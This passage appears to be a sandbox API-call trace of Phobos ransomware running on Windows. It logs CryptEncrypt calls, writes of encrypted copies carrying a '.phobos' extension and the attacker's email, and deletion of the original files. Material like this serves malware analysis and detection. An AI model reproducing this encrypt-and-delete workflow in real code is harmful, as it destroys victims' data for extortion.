hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x1fe40, lpOverlapped=0x0) returned 1 [0140.009] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x1fe50, dwBufLen=0x1fe50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x1fe50) returned 1 [0140.010] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x1fe50, lpOverlapped=0x0) returned 1 [0140.012] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d18) returned 1 [0140.012] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0140.012] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0140.012] CryptDestroyKey (hKey=0x752d18) returned 1 [0140.012] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0140.012] CryptDestroyKey (hKey=0x753098) returned 1 [0140.012] CloseHandle (hObject=0x300) returned 1 [0140.012] CloseHandle (hObject=0x2e4) returned 1 [0140.012] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0140.014] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0140.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0140.014] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=15936) returned 1 [0140.014] CloseHandle (hObject=0x2e4) returned 1 [0140.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0140.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0140.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0140.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0140.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0140.015] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d18) returned 1 [0140.015] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0140.015] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x3e40, lpOverlapped=0x0) returned 1 [0140.065] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50, dwBufLen=0x3e50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50) returned 1 [0140.065] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x3e50, lpOverlapped=0x0) returned 1 [0140.066] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752ad8) returned 1 [0140.066] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0140.066] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0140.066] CryptDestroyKey (hKey=0x752ad8) returned 1 [0140.066] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0140.066] CryptDestroyKey (hKey=0x752d18) returned 1 [0140.066] CloseHandle (hObject=0x2e4) returned 1 [0140.066] CloseHandle (hObject=0x300) returned 1 [0140.066] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0140.067] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0140.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0140.067] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=8809536) returned 1 [0140.067] CloseHandle (hObject=0x300) returned 1 [0140.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0140.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0140.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0140.068] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6c8 | out: lpNewFilePointer=0x0) returned 1 [0140.068] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6c8 | out: lpNewFilePointer=0x0) returned 1 [0140.068] ReadFile (in: hFile=0x300, lpBuffer=0x3235058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e8f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3235058*, lpNumberOfBytesRead=0x2e8f6d4*=0x40000, lpOverlapped=0x0) returned 1 [0140.133] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6c8 | out: lpNewFilePointer=0x0) returned 1 [0140.133] ReadFile (hFile=0x300, lpBuffer=0x3275058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e8f6d4, lpOverlapped=0x0) Thread: id = 296 os_tid = 0xcf8 [0132.109] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2bd00a8 [0132.110] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2be00b0 [0132.110] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf1a720 [0132.110] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x110102) returned 0x3359020 [0132.113] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf18f10 [0132.113] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf930, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf998 | out: phKey=0x2fcf998*=0x7391a8) returned 1 [0132.113] CryptSetKeyParam (hKey=0x7391a8, dwParam=0x1, pbData=0x2fcf980, dwFlags=0x0) returned 1 [0132.113] CryptDecrypt (in: hKey=0x7391a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0x2fcf94c | out: pbData=0xf18f10, pdwDataLen=0x2fcf94c) returned 1 [0132.113] CryptDestroyKey (hKey=0x7391a8) returned 1 [0132.113] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0132.113] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0132.113] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcf9e4 | out: OldValue=0x2fcf9e4*=0x0) returned 1 [0132.113] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0132.113] ResetEvent (hEvent=0x2bc) returned 1 [0132.113] SetEvent (hEvent=0x2c0) returned 1 [0132.113] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.113] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.114] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=129) returned 1 [0132.114] CloseHandle (hObject=0x2b4) returned 1 [0132.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0132.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0132.114] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.298] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.308] ResetEvent (hEvent=0x2bc) returned 1 [0132.308] SetEvent (hEvent=0x2c0) returned 1 [0132.308] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.308] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0132.309] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4662) returned 1 [0132.309] CloseHandle (hObject=0x2d4) returned 1 [0132.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0132.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.309] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.309] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.428] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.428] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2578) returned 1 [0132.428] CloseHandle (hObject=0x2e8) returned 1 [0132.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0132.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.429] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.429] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3024) returned 1 [0132.429] CloseHandle (hObject=0x2e8) returned 1 [0132.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0132.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.429] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.429] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2658) returned 1 [0132.429] CloseHandle (hObject=0x2e8) returned 1 [0132.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0132.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.430] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.430] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2628) returned 1 [0132.430] CloseHandle (hObject=0x2e8) returned 1 [0132.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0132.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.430] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.430] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2532) returned 1 [0132.430] CloseHandle (hObject=0x2e8) returned 1 [0132.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0132.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.431] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.431] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2518) returned 1 [0132.431] CloseHandle (hObject=0x2e8) returned 1 [0132.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0132.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.431] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.432] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2652) returned 1 [0132.432] CloseHandle (hObject=0x2e8) returned 1 [0132.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0132.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.432] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.432] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2570) returned 1 [0132.432] CloseHandle (hObject=0x2e8) returned 1 [0132.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0132.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.433] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 